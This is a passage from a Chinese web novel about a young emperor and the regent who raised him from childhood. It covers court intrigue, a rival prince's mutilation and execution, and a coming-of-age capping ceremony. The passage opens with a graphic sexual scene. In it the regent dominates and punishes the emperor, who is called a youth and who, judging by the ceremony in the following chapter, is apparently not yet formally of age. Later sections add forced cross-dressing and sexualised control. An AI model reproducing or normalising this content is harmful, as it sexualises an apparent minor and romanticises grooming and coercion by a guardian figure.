他嘴角向下耷拉着,突然脑中灵光一现,瞪大眼睛问:“你、你是不是…故意的?林晚不会是你找来的吧,这些天我犯错你都不罚我,装的很温柔的样子,你…你——” 说是给他空间让他好好想清楚不逼迫,但是转眼林晚就上门,府里还有沈衡要娶妻的传言,这些不会都是沈衡设计好故意给他看的吧? 一个人的本性是最难改变的东西,温柔好说话的人随之而来的是软弱,果断有掌控力的人必定会给人压迫感。沈衡本身就是一个说一不二、看上什么东西就不会放手的人,他的温柔给空间全都是手段计谋而已,目的还是为了更好掌控拥有。 温暖的手心捧起少年的脸,沈衡眼睛微眯笑了笑,“卿卿有时候太过聪明,就没那么可爱了,还要不要吃橘子,我剥给你吃。” 宋南卿揉了揉自己的头发,知道自己又被沈衡设计后率先感觉到的不是害怕,而是安心。 他翻身躺在了人腿上认命般嚷嚷道:“先生你就是变态,除了我谁还能忍受你反复无常的样子,林晚能吗?她们吓都吓死了,肯定不会愿意和你结婚的。” 佛口蛇心,身下是莲花座,手里却不是杨柳枝,而是能一击毙命把人钉在他箭上永远无法逃脱的弯弓。 “何为变态?”沈衡敛眉问。 宋南卿从绿芜那儿学来很多听都没听过的新词,用起来倒是得心应手,见沈衡不解其意的样子,他瞥了沈衡一眼,用眼神示意了下手上的橘子。 被剥干净经络的橘子瓣送到嘴边,宋南卿偏了下头道:“不要吃那层皮。” 他说的那层皮是橘子剥开之后包裹果肉的半透明状东西,冬日本就没多少水果,进贡来的蜜橘是稀罕之物,寻常人家也不能吃到,少年挑三拣四抿起嘴来,娇惯指使人的样子毫不心虚。 沈衡用干净的指尖从中间一用力,橘子瓣从顶端被剥开,橙黄色的一粒粒果肉暴露出来,绽放在指尖喂到宋南卿嘴边。 完全去掉橘络只剩果肉的橘子吃起来没了那层酸涩,只有纯甜。宋南卿躺在人腿上张开嘴细嚼,果肉果汁滋润了干燥的口腔,他晃了晃脚,用上目线盯着沈衡道:“先生凑近些,我就告诉你是为何意。” 沈衡指尖微抬,又给他喂了一瓣,汁水湿润了手指,酸甜的香气萦绕在周围。 亮晶晶的眼睛漂亮到璀璨,躺在自己腿上有着惑人的感觉,少年的成长如同青涩的梅子逐渐成熟的过程,每一段变化沈衡都亲自看见品尝过,红润的唇瓣沾上了果汁变得更加诱人。 房间里很安静,屋外也没有风声,沈衡低下头慢慢凑近。 一股力量抓住他的前襟往下一扯,少年借着这股力量往上仰起头,一下子亲在了他的嘴唇上。 酸甜的橘子味道盈润口腔,在舌尖绽放,宋南卿含着他的嘴唇反复吸舔,闭上眼睛感受沈衡身上的气息。 “唔……”口腔的每一寸角落都被舔过,像是要把橘子的甜味尝遍,宋南卿被亲的眼神涣散,原本抓住人衣襟的手逐渐使不上力气朝下滑去。 沈衡托住他的后脑勺朝上抬起,小巧的唇珠被含在嘴里反复吮吸,像是要把人吃掉的架势,隐晦的水声不断。 宋南卿呼吸不畅,头脑都像是要融化了一般,咿咿呀呀发出不连续的音节,左右转头想要躲开这个掠夺性的吻,但被掐住脸蛋固定在原地动弹不得,被迫吞咽下二人交缠的口水。 他原本伸直打开的双腿逐渐并拢,脸色潮红喘息声加剧,整个人一阵阵颤抖。 沈衡听到他的喘息,扣在人脸上的手指放松,少年一下子脱力重新躺回大腿上,二人的唇齿之间拉出一条长长的银丝又断掉。 心脏剧烈跳动不停歇,宋南卿分不清到底是谁的心跳得那么快,他被吻得浑身瘫软,嘴唇微肿。 笔直的双腿缠绕在一起,沈衡刮了一下少年红红的脸问:“夹什么呢?” “呜…”宋南卿对这个动作有条件反射,一瞬间头皮发麻各种以前的场景在脑中滑过。他忙握住沈衡的手指,扭捏地想合拢腿挡住。 沈衡没给他这个机会,丰盈笔直又有肉感的腿,看起来手感绝佳又绵又嫩,这时候掀开布料肯定能看到留下的手指印记。 少年尖尖的叫声在耳边响起,原本清丽的音色拔高之后如同被弹奏的乐器,逐渐变换高度。 “嘘——”沈衡垂眼让他噤声。 宋南卿抿着嘴辗转难耐,在男人手下时不时发出尖叫,但他一叫动作就会停,被打断后又需要重新累积。每当感觉积累到一定高度他都受不住叫出声,但一出声就被打断,总是到不了。 少年被折磨的脖颈都仰起来,像是一只引颈受戮的天鹅。一只脚悬空随着动作轻颤,细细的脚趾时而蜷起时而张开,红红的指痕印在皮肤上暴虐又性感。 “啊……啊——!不要、给我…呜呜呜给我!”他全身上下都在抖,身体已经紧绷到极点,膝盖都朝外透着粉红,急切地晃着腰身想要追寻什么。 沈衡在他的脸上抹了一把,低声道:“忍一会儿,别把榻弄脏了。”然后转头去找桌上的什么东西。 宋南卿被控在半道不上不下,哭着摇头求他,榻上铺的绸缎被他蹬出一个又一个褶皱,浑身激烈打颤,到后面止不住抽动起来。 等他揪着身下的布料抓挠地快要抽丝,沈衡才拿着一块白色的棉纱布转过头来看他。 用来包扎伤口的棉纱吸水性极好,表面多孔,被男人叠起来拢住宋南卿颤抖不止的头。 “呜啊——”几乎是接触的一瞬间,少年就崩溃地飙出一道眼泪。 沈衡捏住他的脖颈不悦道:“我说可以了吗?” 少年已经被巨大的冲击弄的神志不清,手指尖都在抽动,他眼眶里全都是泪水一片模糊,在原地弹动不止,哭声又尖又可怜,但又不完全是痛苦,控制不住的口水从嘴角滑落,滴到了沈衡的手上。 “说对不起。”沈衡淡淡命令道。 宋南卿已经感觉不到脊柱和尾椎的存在,全部的心神都被拴在沈衡的手上,粗糙的棉纱每一次移动都是巨大的快乐折磨,他哭的上气不接下气,晃着身子重复道:“对不起…呜呜对不起,我不敢了,求求先生啊啊——” “再想想该叫我什么?” 身上的每一寸皮肤都朝外透着潮红和热气,宋南卿腕子上的黄金镯晃得叮当作响,案几上的梅花从枝头晃落散下,白色的落梅映衬在紫檀桌面上,星星点点落了一片。 宋南卿梗着脖子上气不接下气,睫毛湿润粘在一起,脑中浮现出七夕那日绽放爆发的烟花,猛地升到半空突然炸开,五颜六色的碎片发射而出又朝四周散开。 他浑身乱颤,尖叫声被自己捂在手心,瞳孔朝四周扩散,身体软软的瘫在床上时不时弹动一下。 沈衡看着少年漂亮的脸变成乱七八糟的样子,手心盖在棉纱之上没有停止,表情冷下来道:“几日没教你,又不听话了,嗯?” 宋南卿没料到这一出,粗糙的棉纱布带了完全不同的体验,他的口水瞬间流了一大滩出来,整个人红透了发出无声的尖叫,头发被摇的散乱盖住一侧脸庞,小腿不断抬起落下砸着榻面,脚趾完全蜷缩起来压在脚心像是抽筋了一般。 枝头梅花随之摇动,又是两瓣掉落。 “对不起、啊哥哥…哥哥饶了我,我会乖的……”少年哆哆嗦嗦好久才说出完整的话,口水泪水混合在一处,可怜到了极点。 沈衡擦去他脸上乱七八糟的液体,依然回答道:“你不会。” 但没关系,不乖也没关系,如果怎么样都听话,那就不是宋南卿了。 只要是宋南卿,就逃不出他的手掌心—— 作者有话说:[黄心] 第68章 第六十八章 我长大了,是吗? 清晨, 北园寺的钟声敲响十二下,肃穆的声音响彻山林。 今日天气放晴,万里无云, 紫禁城的每一条道路都打扫得一尘不染, 在靠近乾清宫伺候的宫人们都穿上了新衣,脸上喜气洋洋。绿瓦朱墙环绕整个宫殿, 太和殿一早就打开了宫门, 阳光洒进来照亮每一寸阴暗的角落。 今日是腊月初七, 陛下的生辰,同样是标志他成年的加冠礼。 僧人们穿上袈裟手持宝器正在低声诵经奏礼乐, 正对大门的祖宗牌位按序陈列, 谥号刻在木牌上,这个王朝的前任统治者们化为了雕刻在牌位上的一个又一个小字,和宋南卿背后跪在殿门前的文武百官一起, 见证着大盛王朝的现任帝王加冠。 宋南卿今日起了个大早, 早膳都没来得及用多少就被沈衡提来, 还是困倦不清醒的, 玄色上衣浅红色下裳端庄又严肃, 量体裁的礼服哪里都卡的刚刚好,把人紧紧箍在里面, 一举一动都只能做得标准刻板。浓密的头发一半梳起来固定在上方,露出了那张精致漂亮的脸。 外头礼官正在念一大堆冠冕堂皇听都不想听的东西,宋南卿跪在排位前的软垫上, 听他念经跟催眠一样,身影一歪就要睡倒。 沈衡站在他身后轻啧了一声,不动声色用腿抵了下少年的背。 宋南卿被他一碰清醒过来了,摸了摸脸重新端坐在垫子上, 手指抠着软垫上开的口子,眼神飘忽扫过眼前一排排牌位,一个个长长的谥号他一溜读下去想提提精神,结果看一个字忘一个字,最后越看越迷糊。 沈衡朝外看了眼礼官,示意他加快进程。 礼官被摄政王冷冷看了眼,额头上冷汗都下来了,抬起袖子拭去后道:“下面,请陛下免冠,由摄政王行初加之礼!” 一身墨色蟒袍的摄政王头戴镶嵌了十三颗东珠的冠帽,前金佛后金花气势逼人,背手侧站在陛下之后,在诵经和礼乐间气质淡然沉稳,丝毫没有皇帝成年后会脱离他掌控的不满和担忧。 之前摄政王不计前嫌救了陛下一命之事受到朝中群臣称赞,都说他是为江山社稷鞠躬尽瘁之人,与九王相比而言那是忠义两全。 也许是因为这件事,陛下和摄政王也没有那么针锋相对,保持了表面的和谐,朝中一直风平浪静直到现在。 幼帝登基后,一般加冠礼都要等到成年时由摄政王主持进行,代表幼帝已经长大成人可以独当一面处理政事,加冠分为三步。 在安静肃穆的大殿之内,沈衡抬起手从春见捧着的托盘上拿起一个冠帽,脚步轻移走到宋南卿旁边,礼服下摆晃动露出里面的玉带。 “一加折上巾,莫忘本初,自此,陛下将涉治理人事之事务,拥有人治之权。”帽檐卡上之时,沈衡温热的手掌碰到了宋南卿的耳廓,一触即分。 “二加游冠,自此,陛下掌控兵事,总揽兵权。”第二顶冠帽被撤下来,沈衡看着眼前身量已高,不再宛如孩童的面庞,心中不免想起这些年跟在他身边跑来跑去的少年身影。 “先生,忠义的义字作何解释呢?”小小的宋南卿坐在桌前看着书上的字问他,很快画面变成了少年初次学骑射那日,在风中苦练一个下午,最终射中靶心时看他的明亮眼神。 “三加衮冕,自此陛下可入太庙,掌管祭祀之权。”第一次穿礼服时,宋南卿就被层层叠叠难穿的规制服饰弄的头晕,此后每一次都是沈衡替他穿好,打理妥善。他不想做的事情,沈衡替他着手,他想玩的地方,沈衡陪他游遍。他的每一个要求,在沈衡这里都会得到妥善解决。 “三加既成,陛下已冠。愿陛下上顺天意,下从民望,守祖宗之法,开万世之基。” “臣率百官,恭祝陛下万寿无疆、国运昌盛!”沈衡声音很重,响彻整个殿中,礼乐随着声音落下一同响起,灿烂初生的朝阳从紫禁城朱红的墙绿色的瓦上升起,光芒洒向大地,映在每一个人的脸上。 宋南卿从软垫上站起来,头戴衮冕面向下方跪立的百官,象征着皇权的帽冠服饰一加身,威严气势由此而生,他转身看向众人,几月前还带着稚嫩的脸庞褪去青涩,站在庙堂之上不怒自威,他望着眼前群臣的头顶,望着下方的汉白玉台阶,此刻一种莫名其妙的使命感油然而生。 他好像真的长大了,困意在这时候彻底消散。 面前是一个个低下去的头,身后是竖立在香灰后的一个个牌位,只有他孑然一身立在天地之间,经受穿堂风从身前穿过,又吹走。 宋南卿垂下手,贴合腕骨的绿檀佛珠上刻着清心咒,他用指腹按在凹凸不平的咒文上揉搓,心中默念了一半清心咒,还是抑制不住自己内心的冲动。 他上前几步,把跪在最前方的沈衡扶起,一深一浅的衣袖交叠在一处,少年天子的手握住摄政王的小臂,而后下滑,借着袖口的掩盖,二人的手交握在一起。 “我长大了,是吗?”只有二人能听见的声音响起,宋南卿嘴唇微动,表情说不上满意,也算不上迷茫。 沈衡往下瞥了一眼牵起的手,然后视线移到了宋南卿脸上,皮肤的温度彼此交换,切肤的温度,只有彼此清楚。 “是,但我会一直在。” 太和殿大门外就是汉白玉雕刻的栏杆,放眼望去,整个紫禁城都收入眼下。黄色的屋檐,红色的墙壁,灰色的街道构成了四四方方的紫禁城,宋南卿盯着檐角的螭龙兽首,手指收紧和并肩立在他身旁的人紧握。 又是一阵穿堂风吹过,二人的发丝飘起在空中,彼此交缠再也分不清彼此。宋南卿仰头看向沈衡,嘴边露出一个浅浅的笑。 太阳已经在东方彻底升起,宋南卿望着那轮红日,冠冕上的旒珠轻轻晃动,随着他转头,金珠相撞发出轻响,一点点扫过沈衡的肩膀,与他冠上的东珠相互碰撞,在阳光下耀眼夺目。 ———— 加冠礼结束之后便是成年后的皇帝第一次检阅军队,周围各个附属小国也都有使臣前来送上贺礼,一同观看检阅仪式,时辰还未到,宋南卿回去换了个衣裳,把礼服脱下后才觉得整个人都活过来了。 他靠在椅子上喝了口春见递过来的茶,单脚翘起晃了晃,左右扫了一眼问道:“摄政王呢?” 春见回道:“摄政王大人应该是去军队那边准备了,奴才也没见到,陛下要不要先吃点东西?” 宋南卿摇摇头,“起太早了没胃口,朕再睡会儿,要是摄政王来了你记得叫我。” “哎,对了,今晚晚宴各国使臣都会参加,九王还被关在诏狱里?” 春见点头。 宋南卿不知想到了什么,眯了下眼睛,“朕加冠礼,普天同庆的事情,作为朕的兄长哪有不出来道贺的道理,你跟魏进说,晚上把他放出来。” 被关在诏狱的九王没想到,关心他的可不止一个人。 军营围帐中,沈衡坐在铺了兽皮的宽敞椅子里,下方突厥人使臣给他行了一个异国的礼仪,操着拗口的中原话道:“摄政王安好,吾王让我等在此次行动中听从摄政王吩咐。” “上次跟九王联系的人还在吗?”沈衡表情淡淡,像是没把这次行动放在心上。 来人答道:“已经待命。” 沈衡点头,“在阅兵仪式开始之后,让他去诏狱劫九王出来,不管怎么样都要把他劫到阅兵场,剩下的事就不用你们操心了。” “是,吾王还托我询问摄政王,西北边境处……” 沈衡一抬手,“阴山为界,只要突厥不过界,大盛不会再有人犯边。九王曾经在那处掠夺的物资和土地,按照七年前的约定悉数奉还,两不相欠。岁贡按之前说的减免两成。” “如果突厥王有需要,大盛可以提供武力支持,帮他镇压反贼,只是支持的条件还需另谈。”沈衡瞥了他一眼,“你还不够格。” 突厥使臣单腿跪地,右手按在左胸处又行一礼,“谢过摄政王,突厥与大盛友好相处,必能共同繁荣。” 军营里的士兵们已经训练多日,新型武器轮番上阵,穿上了定制的盔甲准备等待王朝统治者的检阅,贺西洲从突厥胜利回来后,也参与了本次阅兵仪式。只是九王还关在狱里,作为荣辱与共的属下,贺西洲也没了平日的洒脱,穿着盔甲站在最前方,眸色深沉。 高高的阅兵台上,皇帝站在其上披着深红色的斗篷,乌黑的狐狸毛领衬得他肤色胜雪,在风中飘散的几根碎发轻拂脸颊。面前步兵骑兵炮兵列成了不同的方队,正待一声令下展示兵力给陛下表演检阅。 宋南卿的衣领处忽然紧了紧,原本钻进来的丝丝缕缕的冷风消散。他转过头,看见了替他重新系紧衣带的沈衡。 “我自己来吧,你的手…”宋南卿眉头微皱。 沈衡已经帮他系好了一个漂亮的扣,温暖的手撩起鬓边碎发掖到而后,随后和他并肩站在阅兵台上,“无碍,已经好了。” 阅兵场前的旌旗高高飘扬,一阵铿锵有力的军乐奏响,穿着一致的盛朝士兵按照方队整齐划一上前,向王朝统治者展现他们的作战能力和武装力量。 马蹄声踏地有力,激扬沙砾,红缨枪锐利弓箭在他们手上成了最佳组合,合纵连横变换方阵,贺西洲拿着御赐的那柄武器骑在马上气势昂扬,长时间的行军和外派让他的肤色比之前暗了几个度,一双眼睛炯炯有神,精工方戟衬得人格外有气势。 “西洲看起来好厉害。”宋南卿无意识念了一句,那方戟在他手中猎猎作响,使得格外游刃有余,横扫千军一般。 身边的摄政王听去这句称赞,倾身贴耳像是要再确认一遍一般,声音低沉:“什么?” 宋南卿的眼睛猛地睁大,回过头表情讪讪道:“没什么…” 本来沈衡受伤就有可能恢复不到原本的实力,再加上他一向不太喜欢贺西洲,要是被他听见自己称赞对方,指不定又要不高兴。 场上这时突然响起士兵们整齐的呼喊:“骑兵十一方队,恭祝陛下万寿无疆、四海升平!” 马上的士兵变换着阵型,排列出令人眼花缭乱的招式,泛冷光的武器在他们手中晃了几下,从宋南卿的角度正好可以看见摆出的阵列是一个樱花的图案。 贺西洲在最中间,充当樱花最里面的那一圈花蕊。 宋南卿的睫毛扇动,想起了那日在御花园收到贺西洲从东瀛寄来的信,真挚的情谊还有樱花干花的青涩香气,都在回忆里。 随着信来的樱花种子,他让人在御花园种了几次,但可能是水土不相宜,始终未能发芽长出。 他垂眸看向阅兵场,明明与贺西洲抓鱼还是不到一年前的事,但现在想起来,好像已经过了许久,他们也都变了很多,中间那个骑在马上的人依然潇洒,但也没了当初的肆意,只有那双眼睛依旧明亮看向自己。 宋南卿抬起手轻轻鼓掌,周围人看着陛下带头,都纷纷鼓掌欢呼。骑兵十一方队在贺西洲的带领下受到封赏,面露喜色,逐渐退场,马尾在空中摇摆的动作都是轻快的。 就在一片欢快中,阅兵场西北角突然传来了打斗声,宋南卿表情一滞。 第69章 第六十九章 去给你亲爱的九哥送行吧…… 被派去诏狱接九王来参加阅兵的魏进, 一进地牢,就与突厥人撞了个正着。他们双方都想带九王走,一言不合就打起来了, 但不管九王被谁劫持, 他们的最终目的都是让南幸出现在阅兵场,于是就出现了现在的这一幕——九王和突厥人在一起和仪鸾司侍卫争斗不休。 宋南卿眼睛眯了眯, 看清了场上的情形。一声令下, 阅兵台周围的骑兵步兵纷纷赶去支援, 突厥人来的快去的也快,很快就抛下九王一人, 飘然离去。 宋南卿盯着无力支撑身体坐在地上的九王, 命魏进把他拖来。 “陛下,奴才前往诏狱之时,正好听见他们在密谋谋反之事, 说要带九王越狱, 助他东山再起夺得皇位, 所以才和他们打起来。”魏进垂头看着地面, 言辞真切掷地有声。 九王听了这话一个劲挣扎想说些什么, 但被按死在原地动弹不得,只能张着嘴发出含糊不清的声音。 宋南卿觉得奇怪, 走近了几步查看,因着南幸是被按住肩膀压在地上的,所以宋南卿低头去看时, 一个不注意就看见张开的口中那只剩一半的舌头缺口,他身体一僵,抬起头来。 厚重的披风被朝中间扯了扯,宋南卿望向来到自己身边的沈衡, 用眼神问他:“你干的?” 沈衡依旧是那副八风不动的模样,对宋南卿说:“臣截获了一些九王与突厥人意图谋反的证据,现在人证物证确凿,九王无法辩驳,陛下打算如何发落乱臣贼子?” 就在这时,贺西洲脱甲卸兵跪在宋南卿跟前,低声说:“陛下,不管怎么样,九王殿下也是在抗击外敌时出了力的,还留下一身伤,他是保家卫国的将士更是您的血亲啊!”九王在多年前突厥一战中救过贺西洲父亲贺勇的命,于他们而言是救命恩人,又追随他这些年,于情于理他都没办法眼睁睁看着九王被发落。 沈衡瞥了他一眼,“贺小将军,不必在这个时候强调战功,你在这次突厥一战中大获全胜,是保家卫国的英勇将士,本王和陛下已经商议决定,任命你为右军将军,以后禁军训练就交于贺将军负责了。” 明明是赞赏的一句话,却说的贺西洲不寒而栗,那边九王舌头被割了耳朵却没聋,听到贺西洲的奖赏后,从地上硬要挣扎而起,朝他怒目而视。 他与突厥人合作的事只有近亲幕僚知晓,从一开始秋猎之时那群人不听他指挥,到如今又被发现谋反证据,必有叛徒,但他就是没找到。 如今一看,他倒台之后,最大的受益者不就是眼前贺西洲。 面对九王的怨恨目光,贺西洲慌乱摆手却不知从何解释,旁边摄政王阴冷的视线如影随形,等他去捕捉又消失不见。 像是有一张大网落了下来,把贺西洲笼罩其中逃脱不得又不能言语。一边是九王像是毒蛇一样恨不得将他扒皮抽筋的目光,一边是陛下和摄政王高高的赞赏,他像是被分成了两半,一半阴凉一半沐浴阳光,只有从中间劈开才有安宁之日。 宋南卿一把搭在沈衡的手臂上,像是累了一般道:“九王一事,既然是摄政王发现的证据,如何发落,也全权交于亚父处理。” 震惊朝堂的九王谋反案落下帷幕,九王南幸定于三日后问斩。 乾清宫,外面大雪纷飞,殿内地龙烧的温暖,花架子上摆着的各色鲜花以为春天降临,争相绽放出灿烂的花苞,香气扑鼻。 不大的软榻上挤着两个人,沈衡身着藏青色的衣衫端坐看奏折,头发由冠束起一丝不苟,他的大腿上搁置了一只赤裸白皙的脚,足弓弯出月牙的弧度,青黛色的细细血管在足底不明显,正悬空在他膝盖处轻晃。 室内温度高,宋南卿上身只穿了件薄薄的对襟小衣,圆形的领口露出笔直的锁骨来,鸭蛋绿的领子上绣了粉白色的桃花和碧绿柳叶,一连串的盘扣是镶嵌在雕花金片子上的南海珍珠,泛着温润光泽。 他半靠在沈衡身上吃刚炸出来的土豆条,光是贴着还不够,柔软的大腿还要压在人腿上搁着,薄的裤子透光,能看见雪白的大腿肉被压扁又抬起。 他胸前的柳叶刺绣上还停留了一只黄鹂鸟,栩栩如生的绣工一看就费时费力,只是上面掉落了一点土豆碎屑,像是给黄鹂喂食似的。 沈衡瞥他一眼,指头戳了戳吃的鼓鼓的脸颊,“弄我一身。” 宋南卿当即就不乐意了,瞪起眼睛道:“哪有!” 他把掉落到身上的碎屑掸掉,伸着手指头道:“要擦一下。” 沈衡朝外吩咐人拿水进来,内侍端着黄铜水盆和干净的帕子低头站立,无人敢抬眼看陛下坐在摄政王腿上亲昵不可分的情状。屋内温暖的花香像是往肌肤里面沁,宋南卿一边被伺候着擦手,一边晃着腿说:“想吃一碗冰酥酪,放点桂花蜜好不好?” 沈衡抓着他的手指淡淡道:“现在是什么天气?” 少年心虚地抿了下唇,圈住人拇指晃了晃,指甲被湿帕子擦过,亮亮的泛着水光。 他挥了挥手让宫人们都下去,眼珠一转道:“下雪天气,要不是在冬月,我还怕九王行刑那日有人说他比窦娥冤,让六月飞雪呢。” 丝滑轻薄的衣袖宽大,朝上翻起,细嫩的手臂内侧软肉懒懒贴在沈衡肩膀上,细微的玫瑰香气从少年脸颊处传入人鼻尖。 宋南卿靠在人颈侧,温香软玉般贴人,并拢了双腿搭在沈衡膝上轻踢,“谁让你替我料理了九王的,我还有些事想问他呢,现在舌头被割了我还怎么问?” 沈衡把手中看完的折子放下,翘起二郎腿,少年的脚随着晃动,脚踝上方的细细金链子晃出耀眼的光泽。 “怎么,不舍得?”沈衡眸色微沉,肩膀放平,手指撩动伶仃脚踝上方的链子,不松不紧的绞花细链中间坠了个小铃铛,被手指一拨就发出泠泠声响。 宋南卿抬起脚尖踩住他的手心,热热的手掌烫得他想缩脚,却被一把攥住了。 “才没有…”少年小腿晃动,挣了几下没挣开,“我就是奇怪,突厥人好端端去截什么狱,九王明明已经没有利用价值了。” 瘦瘦窄窄的脚被握在手心,赤裸的脚成了人手中把玩的玩意儿,沈衡垂眸扣住足底问:“你的袜子呢?” 宋南卿觉得痒,声音带上不自觉的笑意,“不知道脱在哪里了,哎呀你不要摸,听我说呀!”榻上铺的羊毛软毯被他蹭乱了,脚腕上的铃铛在挣扎中发出清脆的声响。 “将死之人,有什么可好奇的。”沈衡不知从哪儿找到了少年乱脱下的袜子,绢丝的白色短袜触手生滑,乱动的双脚被握住塞进了布料里,金链子挂在踝骨上方,粉红春色被掩盖彻底。 “明日问斩,我可起不了那么早去看他,今日我想去送他最后一程。”宋南卿凝玉般的脸在光照之下白皙无暇。 沈衡听了之后,眉头微挑,“没想到我们陛下是如此重视兄弟情谊的人,嗯?”调侃的意味从眼尾流出,宋南卿抬起下巴嗯了一声,欣然接受。 “但我也没想到会那么容易。”宋南卿眼波流转看向沈衡。 沈衡道:“本来和突厥人合作,又拉拢陛下,有贺家撑腰,把我立于风口浪尖之上,九王夺得皇位的胜率十之有六。” 宋南卿撑着下巴好奇问:“那剩下十分之四呢?” 沈衡淡淡一笑:“剩下十分之四的败率是因为,他的对手是你我。”埋线那么长的计谋,钻心蚀骨摆弄人心的分裂企图,一环扣一环的精妙设计,在他们两人的感情面前都显得那么微不足道。 花香飘在鼻尖,一缕暖香升腾,青烟袅袅氤氲模糊了对视二人的面容。 宋南卿勾起嘴角,定定看着沈衡,“只是这样一来,想必有人要不高兴了。”贺西洲被摆了一道还背黑锅,肯定怀恨在心。九王一族一定也会对他们两个恨之入骨。 “卿卿高兴的话,谁不高兴都无所谓。”沈衡把擦手的帕子往案上一抛,藏青色的袖口绣的竹叶翻飞,清正高雅。 宋南卿睫毛微颤,食指穿入人的衣襟扣带往前一拉,温软的唇凑在沈衡的脸侧亲了一口。 “我最喜欢先生了。”他半抬着脸,漂亮的眼眸亮得出奇,言语真挚情真意切。 沈衡往他柔软的脸颊上捏了一把,“好听的话留着晚上再讲吧,现在要去诏狱?” 宋南卿点点头,瞟了瞟外面,“工部递的折子你有没有看啊…是不是要召他们议事。” 少年话锋往哪个方向转,想干什么,光是眼神一动,沈衡就能看得清楚,但偏偏这时他装作读不出陛下的弦外之音,赖在这儿就是不走,老神在在喝起了桌上的茶。 宋南卿看出了他就是故意的,推了他一把道:“我要换衣裳了!你去找他们议事嘛!” 沈衡单手支在案几上,眼皮轻抬,“怎么,见一个将死之人,卿卿还要盛装打扮,连我都看不得?” 宋南卿瞪他,一双眼睛水光潋滟像是揉进了衣襟上的粉白桃花瓣,眼尾一截因为着急染上了薄红。 “先生是不是不想让我去……”他声音放软显得楚楚可怜。 沈衡用指尖点了点他的下巴,“这种在仇人临死之前落井下石的机会可是千载难逢,当然要去。” 宋南卿眼睛亮了亮,像是找到知己一般抱住他的胳膊往外推,“那我去去就回,你去书房等我。” 沈衡反握住他的手臂往内室里拉,最角落里的衣橱一开,桃红鹅黄各色女装衣裙琳琅满目,皆是之前在街上服装店里打包回来的那些,从外衣到肚兜应有尽有。 “不就是想穿这些去,不敢让我知道?”沈衡单手搂在少年腰间把他固定在原地迈不开一步,在角落的箱子里一扯,绛紫色的薄薄肚兜被他夹在两指之间,送到宋南卿面前。 薄软的贴身衣物被骨节分明的大手夹在指间,紫色的肚兜带子垂下搭在男人青筋明显的小臂上,带上了一丝狭昵意味。宋南卿被他看透了心思弄得腰软,咬着牙根闭上了眼睛。 没有什么比给人希望又在他面前把希望彻底粉碎更过瘾的了,对九王来讲,他最在意的除了皇位,就是他的王妃。 对于怎么报仇折磨人才过瘾,宋南卿和沈衡坏的一脉相承,把打造了金身的希望在信徒面前摔碎,才是最好的报复。 沈衡用手背蹭了蹭少年的脸,在他耳边低声道:“我还没那么小气,跟一个死人计较。喜欢哪一件就穿上,去给你亲爱的九哥送行吧,小王妃。” 温柔低沉的声音让宋南卿不寒而栗,他刚要反驳,就听见沈衡又道:“我忘了,卿卿那么娇气怎么会自己穿衣裳,我帮你。” 宋南卿眼中含着慌乱,尚未开始挣扎就被握住了手腕,对襟的小衣纽扣一挑就开,从雪白的肩头滑落。 第70章 第七十章 我不要穿这个 紫檀木的衣橱前放了张椭圆形的镜子, 映出一前一后两个人影,宋南卿被抱在人腿上坐着,抬手穿过衣袖, 浅紫色的女装层层叠叠影影绰绰, 肚兜位置系得不低,但可能是因为绳子没有系太紧, 胸口处的布料往下滑落, 露出肚兜上一朵雍容华贵的牡丹刺绣。 “我不要穿这个…又不是女孩子。”宋南卿扭来扭去, 提着自己胸前的衣料往上掩盖住内里的牡丹花,套着贴身绢丝袜的脚踩在沈衡的黑色冷靴上轻踢。 沈衡把堆积在肩部的衣料缕平, 勾起被压在肩带下的一缕青丝, 凑在人耳边说:“卿卿现在就是女孩子,想不穿肚兜就出去给人看?” 一股难言的羞耻感让宋南卿蜷了蜷脚趾,背部紧致光滑的肌肉绷出漂亮的线条, 他偏了偏头躲开往自己耳朵里吹的热气, 脸颊发红, “我又没有、没有…那个。” 沈衡轻轻颔首, 垂眸道:“没有吗?我看看。” “哎呀——先生好烦…”宋南卿一把推开男人低头凑近的脸, 锁骨窝处的皮肤都在颤抖,脚尖绷直了缠在人小腿上收紧。 带着香气的手指软软推着沈衡的脸, 他低头舔了下少年手心,引起小声惊呼。 宋南卿耸着肩膀被他弄的哪哪儿都痒,紫藤花般紫白过渡的衣袖搭在沈衡肩膀上往后推, 手心被舔过的位置还在酥麻。 “不给看?”沈衡肩膀上肌肉隆起,在少年手底下发硬,声音也带上了冷意。 他明明说的是玩笑话,但宋南卿条件反射般收手, 细细的两根手指挑开自己的衣领,朝外撑起一个乖巧的圆弧。 少年微微咬着下唇,睫毛颤抖不敢低头。 沈衡比他高出一些,这个位置正好能把景色尽收眼底,绛紫色的布料上方开口,随着少年的呼吸一起一伏。 沈衡捻了一把少年的红到滴血的耳垂,凑近人耳边低声说了句什么。 宋南卿瞬间捂住领口不让看了,腰身左右扭动要从人腿上下来,被捏了把腰间软肉才消停下来。 外面正下着雪,但魏进提前知道陛下要来诏狱,里面温度倒也没有冷如冰窟。 九王独自坐在单人牢房角落里,头发干如稻草遮盖住脸庞,人不人鬼不鬼的坐在那里半天不动一下。 宋南卿从诏狱门口走进来,脱了大氅扔在魏进手上,面上遮了一块轻纱让人看不清楚脸。藏污纳垢住满犯人的地牢突然进来一位身姿飘然气质绝佳的美人,几乎每个人的眼睛都粘在了宋南卿身上,但他好像毫无察觉,径直朝里侧的九王走去。 魏进站在他身后三步的位置,不敢抬眼乱看一下。 带着乾清宫佳楠香的脚步声由远及近,停在了九王的面前,他眼神呆滞,忽然抬眼看见梦中人,猛地往前窜了几步,双手把着牢房栏杆缝隙,呐呐道:“王妃…王妃,是你吗?”舌头被割之后他发不出声音,只能有含糊的气音,但宋南卿看懂了他的唇语,蹲下身望着他轻声道:“是我,王爷。” 九王挣扎着伸手想朝外够他的裙角,但只能伸到手腕的距离。 宋南卿轻笑一声,慢慢靠近,在裙角即将与那只充满脏污的手相触的前一刻,抬脚踩住了九王的手指。 面纱被扯掉,少年的声音也变得格外清晰,宋南卿居高临下垂眼看着他道:“死到临头还盼着王妃回来是吗?” 他掏出一个玉佩,是九王在宴会初见那日给“赵绿芜表妹”的信物,也是前王妃的遗物,那个大师说只要把这个遗物放在“容器”身上放足时日,然后启动仪式,王妃的魂魄就能重返人世间。只是还未来得及开启,九王就已经入狱。 他被关在狱中多日已经神智不清,一方面懊悔自己棋差一招,一边怨恨贺西洲这个叛徒出卖自己,不知死亡何时会来临,惶惶不可终日。 突然看见玉佩,九王清醒了一瞬,顺着手的方向往上看,他完美的王妃容器身体之上,露出的那张脸,赫然是把他陷害到狱中不能翻身的宋南卿! “嗬…嗬……”九王猛地露出凶狠的目光,不可置信看着眼前这张让他恨之入骨的脸。 